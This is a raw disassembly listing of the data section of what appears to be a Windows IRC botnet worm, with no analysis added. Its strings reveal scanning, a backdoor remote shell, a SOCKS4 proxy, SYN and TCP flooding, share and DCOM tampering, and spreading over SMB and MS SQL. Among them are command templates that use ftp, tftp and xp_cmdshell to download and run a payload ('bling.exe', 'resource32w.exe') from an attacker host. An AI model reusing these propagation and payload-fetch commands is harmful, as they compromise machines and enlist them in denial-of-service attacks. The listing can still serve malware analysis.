a95		db '95',0               ; DATA XREF: .text:0040FBBCo
					; sub_41175C+39o
		align 4
aDS		db '[%d]%s',0           ; DATA XREF: sub_40FC65+39o
		align 4
aM_0		db '[M]',0              ; DATA XREF: sub_40FC65+2Bo
					; sub_40FC65+50o
aScanIpSPortD_0	db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_40FD93+85o
		align 4
aScanScanningIp	db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_40FE55+40o
		align 4
aD_2		db 'D:\',0              ; DATA XREF: .data:0042C384o
aD_3		db 'D$',0               ; DATA XREF: .data:0042C380o
		align 10h
aC_2		db 'C:\',0              ; DATA XREF: .data:0042C37Co
aC_3		db 'C$',0               ; DATA XREF: .data:0042C378o
		align 4
aAdmin_0	db 'ADMIN$',0           ; DATA XREF: .data:0042C370o
		align 10h
aIpc		db 'IPC$',0             ; DATA XREF: .data:off_42C368o
		align 4
aSecureNetapi32	db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0
					; DATA XREF: sub_40FF1B+2E8o
					; sub_410242+2DAo
		align 4
aSecureNetworkS	db '[SECURE]: Network shares deleted.',0 ; DATA XREF: sub_40FF1B+2D2o
		align 4
aSecureFailed_4	db '[SECURE]: Failed to delete ',27h,'%S',27h,' share.',0
					; DATA XREF: sub_40FF1B:loc_410186o
		align 10h
aSecureShareS_0	db '[SECURE]: Share ',27h,'%S',27h,' deleted.',0
					; DATA XREF: sub_40FF1B+264o
		align 10h
aSecureFailed_3	db '[SECURE]: Failed to delete ',27h,'%s',27h,' share.',0
					; DATA XREF: sub_40FF1B:loc_4100F6o
		align 4
aSecureShareSDe	db '[SECURE]: Share ',27h,'%s',27h,' deleted.',0
					; DATA XREF: sub_40FF1B+1D4o
		align 4
aSecureAdvapi32	db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0
					; DATA XREF: sub_40FF1B:loc_41004Eo
					; sub_410242:loc_410371o
		align 4
aSecureFailed_2	db '[SECURE]: Failed to open IPC$ Restriction registry key.',0
					; DATA XREF: sub_40FF1B:loc_410047o
aSecureRestrict	db '[SECURE]: Restricted access to the IPC$ Share.',0
					; DATA XREF: sub_40FF1B:loc_41002Fo
		align 4
aSecureFailed_1	db '[SECURE]: Failed to restrict access to the IPC$ Share.',0
					; DATA XREF: sub_40FF1B+10Do
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_40FF1B+EEo
					; sub_410242+EEo
		align 4
aSecureFailed_0	db '[SECURE]: Failed to open DCOM registry key.',0
					; DATA XREF: sub_40FF1B+92o
					; sub_410242+92o
aSecureDcomDisa	db '[SECURE]: DCOM disabled.',0 ; DATA XREF: sub_40FF1B:loc_40FF8Fo
		align 10h
aSecureDisableD	db '[SECURE]: Disable DCOM failed.',0 ; DATA XREF: sub_40FF1B+6Do
		align 10h
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_40FF1B+55o
					; sub_410242+55o
		align 4
aSecureNetwor_0	db '[SECURE]: Network shares added.',0 ; DATA XREF: sub_410242+2C2o
aC_0		db '%c:\',0             ; DATA XREF: sub_410242+22Co
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_410242+21Bo
aSecureFailed_7	db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0
					; DATA XREF: sub_410242:loc_4103F0o
					; sub_410242:loc_4104B7o
aSecureShareSAd	db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_410242+1A7o
					; sub_410242+26Eo
aSecureFailed_6	db '[SECURE]: Failed to open IPC$ restriction registry key.',0
					; DATA XREF: sub_410242:loc_41036Ao
aSecureUnrestri	db '[SECURE]: Unrestricted access to the IPC$ Share.',0
					; DATA XREF: sub_410242:loc_410352o
		align 4
aSecureFailed_5	db '[SECURE]: Failed to unrestrict access to the IPC$ Share.',0
					; DATA XREF: sub_410242+109o
		align 10h
aSecureDcomEnab	db '[SECURE]: DCOM enabled.',0 ; DATA XREF: sub_410242:loc_4102B6o
aSecureEnableDc	db '[SECURE]: Enable DCOM failed.',0 ; DATA XREF: sub_410242+6Do
		align 4
aRlogindFaile_2	db '[RLOGIND]: Failed to execute shell, error: <%d>.',0
					; DATA XREF: sub_4105D1+B7o
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_4105D1+80o
		align 4
aRlogindSession	db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0
					; DATA XREF: sub_41069D+89o
aRlogindFaile_5	db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_41084F+B2o
aRlogindFaile_4	db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0
					; DATA XREF: sub_41084F+82o
		align 4
aRlogindFaile_3	db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0
					; DATA XREF: sub_41084F+5Fo
aRlogindWaitfor	db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0
					; DATA XREF: sub_41094B+E2o
		align 4
aRlogindFaile_6	db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>'
					; DATA XREF: sub_41094B+59o
					; sub_41094B+8Fo
		db '.',0
		align 4
aSocks4ErrorF_0	db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0
					; DATA XREF: sub_410E50+1A7o
		align 4
aSocks4ErrorFai	db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0
					; DATA XREF: sub_410E50+187o
		align 4
aSocks4Authenti	db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0
					; DATA XREF: sub_410E50+F6o
		align 4
aSocks4Failed_1	db '[SOCKS4]: Failed to start server on Port %d.',0
					; DATA XREF: sub_411080+1A1o
		align 4
aSocks4Failed_0	db '[SOCKS4]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_411080+16Co
		align 4
aSocks4ClientCo	db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_411080+107o
		align 4
aSynSendErrorD_	db '[SYN]: Send error: <%d>.',0 ; DATA XREF: sub_41126C+242o
		align 4
aSynDoneWithFlo	db '[SYN]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_411540+48o
		align 4
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_4115DB+39o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_41175C+247o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_41175C+161o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41175C:loc_41188Fo
		align 4
aSS_5		db '%s (%s)',0          ; DATA XREF: sub_41175C+C0o
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_4119C3+99o
		align 4
off_42875C	dd offset loc_412F4B+3	; DATA XREF: sub_4119C3+67o
dword_428760	dd 4E414Ch	dword_428764	dd 6C616944h, 70752Dhdword_42876C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0aTcpErrorSendin	db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne'
					; DATA XREF: sub_411A79+509o
		db 'd: <%d>.',0
		align 10h
aTcpDoneWithSFl	db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se'
					; DATA XREF: sub_411A79+49Co
		db 'c (%dMB).',0
		align 4
aTcpInvalidTarg	db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_411A79+124o
		align 4
aTcpErrorSetsoc	db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0
					; DATA XREF: sub_411A79+F0o
		align 4
aTcpErrorSocket	db '[TCP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_411A79+75o
		align 4
dword_42889C	dd 4000500h, 7868746Bh,	0aTftpFileTran_0	db '[TFTP]: File transfer complete to IP: %s (%s).',0
					; DATA XREF: sub_411FA9+44Co
		align 4
aTftpFileNotFou	db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_411FA9+395o
		align 4
dword_4288FC	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411FA9+379o
aTftpFileTransf	db '[TFTP]: File transfer started to IP: %s (%s).',0
					; DATA XREF: sub_411FA9+324o
		align 10h
aTftpFailedToOp	db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_411FA9+14Do
		align 4
aTftpErrorSocke	db '[TFTP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_411FA9+6Co
aOctet		db 'octet',0            ; DATA XREF: sub_411FA9+11o
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_4124DC+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_4126A7+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4126A7+35o
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_4127BC+2B8o
					; .text:00412F5Ao ...
		align 4
aHostSContentTy	db 'Host: %s',0Dh,0Ah   ; DATA XREF: sub_4127BC+1BAo
		db 'Content-Type: text/xml',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_1	db ' HTTP/1.1',0Dh,0Ah,0 ; DATA XREF: sub_4127BC+183o
aSearch		db 'SEARCH /',0         ; DATA XREF: sub_4127BC+CCo
		align 10h
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: .text:00412EC4o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: .text:00412E9Ao
aNilsisgay	db 'NILSISGAY!!',0      ; DATA XREF: .text:00412D6Bo
; ---------------------------------------------------------------------------


loc_428AEC:				; DATA XREF: .text:00412D58o
		jmp	short loc_428AFD
; ---------------------------------------------------------------------------
		align 10h
dword_428AF0	dd 2016280h, 100BDh, 8F160001h		db 82h
; ---------------------------------------------------------------------------


loc_428AFD:				; CODE XREF: .rdata:loc_428AECj
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 0
		dd 2 dup(0)
aEchoOpenSDOE_0	db 'echo open %s %d>o&echo USER a>>o&echo a>>o&echo binary>>o&echo ge'
					; DATA XREF: sub_412FB5+8Eo
					; .text:00413C6Eo
		db 't resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.e'
		db 'xe',0Dh,0Ah,0
		align 10h
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_4130F8+27o
					; .text:00413734o
		align 4
dword_428B9C	dd 1CEC8166h						; .text:004136E0r
dword_428BA0	dd 0E4FF07h						; .text:004136EAr
aSTryingToXploi	db '[%s]: Trying to Xploit IP: %s.',0 ; DATA XREF: .text:00413CE5o
		align 4
aSExploitingI_0	db '[%s]: Exploiting IP: (%s:%d) User: (%s/%s).',0
					; DATA XREF: .text:00413F56o
aTftpFileTran_1	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:00413EDDo
		align 4
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .text:00413EC8o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'tftp -i %s GET %s',27h,0
					; DATA XREF: .text:00413E91o
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: .text:00413E06o
		align 10h
aSExploitingI_1	db '[%s]: Exploiting IP: %s, Share: \%s, User: (%s/%s)',0
					; DATA XREF: sub_413FFD+206o
		align 4
aNoPassword	db '(no password)',0    ; DATA XREF: sub_413FFD+1E4o
		align 4
aSSS_3		db '%s\%s\%s',0         ; DATA XREF: sub_413FFD+CBo
		align 10h
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: sub_413FFD+6Co
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: sub_413FFD+65o
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: sub_413FFD+5Eo
aSIpc_0		db '%s\ipc$',0          ; DATA XREF: .text:00414333o
aS_6		db '\\%s',0             ; DATA XREF: .text:004142F5o
		align 4
stru_428D38	_msEH <0FFFFFFFFh, 0, offset sub_414A09> ; DATA	XREF: sub_4149C3+2o
		align 8
stru_428D48	_msEH <0FFFFFFFFh, 0, offset sub_414A67> ; DATA	XREF: sub_414A14+2o
		align 8
stru_428D58	_msEH <0FFFFFFFFh, 0, offset sub_414BB0> ; DATA	XREF: sub_414B6E+2o
		align 8
stru_428D68	_msEH <0FFFFFFFFh, 0, offset sub_414D1A> ; DATA	XREF: sub_414BBA+2o
		align 8
stru_428D78	_msEH <0FFFFFFFFh, 0, offset sub_414DB9> ; DATA	XREF: sub_414D67+2o
		align 8
stru_428D88	_msEH <0FFFFFFFFh, 0, offset sub_414E45> ; DATA	XREF: sub_414DD6+2o
		align 8
stru_428D98	_msEH <0FFFFFFFFh, offset loc_4151D4, offset loc_4151D8>
					; DATA XREF: sub_415136+2o
		align 8
stru_428DA8	_msEH <0FFFFFFFFh, 0, offset sub_415D03> ; DATA	XREF: sub_415CAF+2o
		align 8
stru_428DB8	_msEH <0FFFFFFFFh, 0, offset sub_415ED0> ; DATA	XREF: sub_415E55+2o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_415F19+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_415F19o
stru_428DE0	_msEH <0FFFFFFFFh, 0, offset sub_416296> ; DATA	XREF: sub_416257+2o
					; sub_416662+53r
		align 10h
stru_428DF0	_msEH <0FFFFFFFFh, offset loc_416481, offset loc_416495>
					; DATA XREF: .text:004162EBo
		align 10h
byte_428E00	db 6			; DATA XREF: sub_416662:loc_4166C3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .data:off_42D7CCo
		unicode	0, <(null)>,0
		align 4
aNull_1		db '(null)',0           ; DATA XREF: .data:off_42D7C8o
		align 8
stru_428E78	_msEH <0FFFFFFFFh, offset loc_4173E0, offset loc_4173E4>
					; DATA XREF: sub_416F0B+5o
		align 8
aHH:
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 20h,	4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
		dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
		dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
		dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
		dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
		dd 7C7B7A79h, 7F7E7Dh
stru_429008	_msEH <0FFFFFFFFh, 0, offset sub_417C80> ; DATA	XREF: sub_417C4E+2o
		align 8
stru_429018	_msEH <0FFFFFFFFh, 0, offset sub_417D80> ; DATA	XREF: sub_417D0C+2o
		align 8
stru_429028	_msEH <0FFFFFFFFh, 0, offset sub_417F29> ; DATA	XREF: sub_417E5D+2o
		dd 2 dup(0)
		dd offset sub_417EF8
stru_429040	_msEH <0FFFFFFFFh, 0, offset sub_41910B> ; DATA	XREF: sub_419087+2o
		align 10h
stru_429050	_msEH <0FFFFFFFFh, 0, offset sub_41979B> ; DATA	XREF: sub_419685+2o
		align 10h
dbl_429060	dq 0.0			; DATA XREF: sub_41982E+6r
dword_429068	dd 30302B65h, 30hdbl_429070	dq 1.0			; DATA XREF: sub_419BCC+2Ar
dbl_429078	dq 4.195835e6		; DATA XREF: sub_419BCC+Fr
dbl_429080	dq 3.145727e6		; DATA XREF: sub_419BCC+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419C0C+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_419C0Co
		align 10h
dword_4290B0	dd 2 dup(0)						; sub_41C5B0+1Eo ...
stru_4290B8	_msEH <0FFFFFFFFh, offset loc_41A102, offset loc_41A106>
					; DATA XREF: sub_419E09+2o
		dd 0FFFFFFFFh, 419EFFh,	419F03h, 0FFFFFFFFh, 419FCDh, 419FD1h
		dd 0
		db 2 dup(0)
word_4290E2	dw 20h			; DATA XREF: sub_41E54C+18r
					; .data:0042D830o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 41h dup(0)
		db 2 dup(0)
word_4292EA	dw 20h			; DATA XREF: .data:off_42DEA4o
aHH_0:
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 10h dup(200020h), 480020h, 8	dup(100010h), 140010h
		dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h
		dd 0Bh dup(1010101h), 1010010h,	3 dup(1010101h), 0Ch dup(1020102h)
		dd 1020010h, 3 dup(1020102h), 1010102h,	0
stru_4294F0	_msEH <0FFFFFFFFh, offset sub_41A1E2, offset loc_41A1E6>
					; DATA XREF: sub_41A1F6-2Fo
		align 10h
stru_429500	_msEH <0FFFFFFFFh, 0, offset sub_41A31E> ; DATA	XREF: sub_41A271+2o
		align 10h
		dd offset loc_41A2E4
		dd offset loc_41A2ED
stru_429518	_msEH <0FFFFFFFFh, offset sub_41A373, offset loc_41A37C>
					; DATA XREF: sub_41A33F+2o
		align 8
stru_429528	_msEH <0FFFFFFFFh, 0, offset sub_41A4DE> ; DATA	XREF: sub_41A3A1+2o
		align 8
		dd offset loc_41A426
		dd offset loc_41A469
stru_429540	_msEH <0FFFFFFFFh, offset sub_41A6B8, offset loc_41A6BC>
					; DATA XREF: sub_41A548+2o
		align 10h
stru_429550	_msEH <0FFFFFFFFh, offset loc_41AA94, offset loc_41AA98>
					; DATA XREF: sub_41AA6F+2o
		align 10h
stru_429560	_msEH <0FFFFFFFFh, offset loc_41AAC1, offset loc_41AAC5>
					; DATA XREF: sub_41AAA4+2o
		align 10h
stru_429570	_msEH <0FFFFFFFFh, 0, offset sub_41AE2B> ; DATA	XREF: sub_41ADC8+2o
		align 10h
stru_429580	_msEH <0FFFFFFFFh, 0, offset sub_41B114> ; DATA	XREF: sub_41AFCD+2o
		align 10h
stru_429590	_msEH <0FFFFFFFFh, 0, offset sub_41B2A8> ; DATA	XREF: sub_41B276+2o
		align 10h
stru_4295A0	_msEH <0FFFFFFFFh, offset loc_41B2ED, offset loc_41B2F1>
					; DATA XREF: sub_41B2C0+2o
		align 10h
stru_4295B0	_msEH <0FFFFFFFFh, offset loc_41B331, offset loc_41B335>
					; DATA XREF: sub_41B304+2o
		align 10h
stru_4295C0	_msEH <0FFFFFFFFh, 0, offset sub_41B440> ; DATA	XREF: sub_41B3BC+2o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_42DFBCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41B5C9+12Co
					; sub_41E1C5+134o
		align 10h
asc_4298F0	db 0Ah			; DATA XREF: sub_41B5C9+110o
					; sub_41E1C5+101o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41B5C9+FEo
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41B5C9+CAo
					; sub_41E1C5+D1o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41B5C9+89o
					; sub_41E1C5+88o
		align 10h
stru_429930	_msEH <0FFFFFFFFh, 0, offset sub_41C164> ; DATA	XREF: sub_41C0E0+2o
		align 10h
stru_429940	_msEH <0FFFFFFFFh, 0, offset sub_41C327> ; DATA	XREF: sub_41C280+2o
		align 10h
stru_429950	_msEH <0FFFFFFFFh, offset loc_41C689, offset loc_41C68D>
					; DATA XREF: sub_41C5B0+2o
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:0042E1ACo
aMmDdYy		db 'MM/dd/yy',0         ; DATA XREF: .data:0042E1A8o
		align 4
aDecember	db 'December',0         ; DATA XREF: .data:0042E19Co
		align 4
aNovember	db 'November',0         ; DATA XREF: .data:0042E198o
		align 4
aOctober	db 'October',0          ; DATA XREF: .data:0042E194o
aSeptember	db 'September',0        ; DATA XREF: .data:0042E190o
		align 4
aAugust		db 'August',0           ; DATA XREF: .data:0042E18Co
		align 10h
aJuly		db 'July',0             ; DATA XREF: .data:0042E188o
		align 4
aJune		db 'June',0             ; DATA XREF: .data:0042E184o
		align 10h
aApril		db 'April',0            ; DATA XREF: .data:0042E17Co
		align 4
aMarch		db 'March',0            ; DATA XREF: .data:0042E178o
		align 10h
aFebruary	db 'February',0         ; DATA XREF: .data:0042E174o
		align 4
aJanuary	db 'January',0          ; DATA XREF: .data:0042E170o
aDec		db 'Dec',0              ; DATA XREF: .data:0042E16Co
aNov		db 'Nov',0              ; DATA XREF: .data:0042E168o
aOct		db 'Oct',0              ; DATA XREF: .data:0042E164o
aSep		db 'Sep',0              ; DATA XREF: .data:0042E160o
aAug		db 'Aug',0              ; DATA XREF: .data:0042E15Co
aJul		db 'Jul',0              ; DATA XREF: .data:0042E158o
aJun		db 'Jun',0              ; DATA XREF: .data:0042E154o
aMay		db 'May',0              ; DATA XREF: .data:0042E150o
					; .data:0042E180o
aApr		db 'Apr',0              ; DATA XREF: .data:0042E14Co
aMar		db 'Mar',0              ; DATA XREF: .data:0042E148o
aFeb		db 'Feb',0              ; DATA XREF: .data:0042E144o
aJan		db 'Jan',0              ; DATA XREF: .data:0042E140o
aSaturday	db 'Saturday',0         ; DATA XREF: .data:0042E13Co
		align 10h
aFriday		db 'Friday',0           ; DATA XREF: .data:0042E138o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: .data:0042E134o
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .data:0042E130o
		align 10h
aTuesday	db 'Tuesday',0          ; DATA XREF: .data:0042E12Co
aMonday		db 'Monday',0           ; DATA XREF: .data:0042E128o
		align 10h
aSunday		db 'Sunday',0           ; DATA XREF: .data:0042E124o
		align 4
aSat		db 'Sat',0              ; DATA XREF: .data:0042E120o
aFri		db 'Fri',0              ; DATA XREF: .data:0042E11Co
aThu		db 'Thu',0              ; DATA XREF: .data:0042E118o
aWed		db 'Wed',0              ; DATA XREF: .data:0042E114o
aTue		db 'Tue',0              ; DATA XREF: .data:0042E110o
aMon		db 'Mon',0              ; DATA XREF: .data:0042E10Co
aSun		db 'Sun',0              ; DATA XREF: .data:off_42E108o
		align 8
stru_429A78	_msEH <0FFFFFFFFh, 0, offset sub_41CFDB> ; DATA	XREF: sub_41CF3E+2o
		align 8
stru_429A88	_msEH <0FFFFFFFFh, 0, offset sub_41D08C> ; DATA	XREF: sub_417FE4+5018o
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_41D188+2Do
		align 10h
stru_429AC0	_msEH <0FFFFFFFFh, offset loc_41D1E5, offset loc_41D1F3>
					; DATA XREF: sub_41D188+2o
		align 10h
stru_429AD0	_msEH <0FFFFFFFFh, 0, offset sub_41D889> ; DATA	XREF: sub_41D844+2o
		align 10h
stru_429AE0	_msEH <0FFFFFFFFh, offset loc_41E075, offset loc_41E079>
					; DATA XREF: sub_41DFA0+2o
dword_429AEC	dd 676F7250h, 3A6D6172h, 20haABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: sub_41E1C5+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0 ; DATA XREF: sub_41E1C5:loc_41E222o
		align 8
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: sub_41E1C5+4Fo
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
aUnknownSecurit	db 'Unknown security failure detected!',0 ; DATA XREF: sub_41E1C5+4Ao
		align 10h
stru_429C90	_msEH <0FFFFFFFFh, offset loc_41E200, offset loc_41E204>
					; DATA XREF: sub_41E1C5+5o
		align 10h
stru_429CA0	_msEH <0FFFFFFFFh, 0, offset sub_41E447> ; DATA	XREF: sub_41E3DD+2o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_41E453+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_41E453+62o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41E453+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41E453+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41E453+2Eo
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 10h
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41EDA1:loc_41EE90o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41EDA1+D2o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41EDA1+C1o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41EDA1+A7o
		align 10h
stru_429D70	_msEH <0FFFFFFFFh, 0, offset sub_41F196> ; DATA	XREF: sub_41F063+2o
		align 10h
stru_429D80	_msEH <0FFFFFFFFh, offset loc_41F7D0, offset loc_41F7D4>
					; DATA XREF: sub_41F6BA+2o
		dd 0FFFFFFFFh, 41F85Dh,	41F861h
stru_429D98	_msEH <0FFFFFFFFh, offset loc_41FA61, offset loc_41FA65>
					; DATA XREF: sub_41F96A+2o
		dd 0FFFFFFFFh, 41FAD3h,	41FAD7h, 0
dword_429DB4	dd 2 dup(0)						; sub_41B2C0:loc_41B2D3o
dword_429DBC	dd 0							; sub_41B304:loc_41B317o
		dd 0FFFFFFFFh, 41FB8Fh
dword_429DC8	dd 19930520h, 1, 429DC0h, 4 dup(0)		dd 29E20h, 2 dup(0)
		dd 2A5D0h, 20000h, 29FFCh, 2 dup(0)
		dd 2A5DEh, 201DCh, 5 dup(0)
		dd 7C802442h, 7C80929Ch, 7C910331h, 7C810637h, 7C80B4CFh
		dd 7C80C058h, 7C9010EDh, 7C901005h, 7C80B829h, 7C91188Ah
		dd 7C80A7D4h, 7C80A427h, 7C82FA46h, 7C81CDDAh, 7C802367h
		dd 7C809B47h, 7C810D87h, 7C801A24h, 7C814EEAh, 7C80EDD7h
